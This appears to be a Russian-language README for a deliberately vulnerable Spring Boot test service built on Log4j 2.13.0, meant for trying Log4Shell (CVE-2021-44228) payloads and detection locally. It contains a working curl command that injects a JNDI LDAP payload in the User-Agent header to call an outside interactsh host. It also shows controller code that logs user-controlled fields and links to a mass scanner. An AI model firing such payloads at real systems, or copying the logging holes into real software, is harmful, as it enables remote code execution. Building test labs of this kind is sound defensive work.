CVE-2021-44228 Spring Boot Test Service

Это грязный хак — spring boot hello world проект для проверки ваших инструментов/пейлоадов/возможностей детектирования локально, прежде чем вы примените их на продакшн-целях.

Используемая версия Log4j — 2.13.0

Сборка docker-образа

bash build.sh

Запуск docker-образа

docker run -p 8080:8080 dwdi/log4shell

Тестирование / активация CVE-2021-44228

Если у вас нет burp collaborator, запущенного в гараже, вы можете посетить этот сайт для похожего опыта: https://interactsh.com

curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null

Инструмент сканера

Опционально вы можете использовать этот отличный репозиторий для локального/массового сканирования: https://github.com/adilsoybali/Log4j-RCE-Scanner

Места для активации

Эта уязвимость целиком про то, чтобы заставить контролируемое пользователем значение быть записанным в лог уязвимым логирующим фреймворком. С учётом этого это простое фиктивное приложение поддерживает два HTTP-глагола (GET/PUT) и кучу мест для инъекций:

@GetMapping("/")
	public String index(HttpServletRequest request) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		return "Log4J2 is working!";
	}

@PostMapping("/")
	public String post(HttpServletRequest request, @RequestBody String body) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		logger.info("Request Body: " + body); // mind the extra request body
		return "Log4J2 is working!";
	}

Вклад / улучшения приветствуются.

Извините за качество кода :) этот проект не для красоты, а чтобы поделиться/помочь.

Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service

Популярное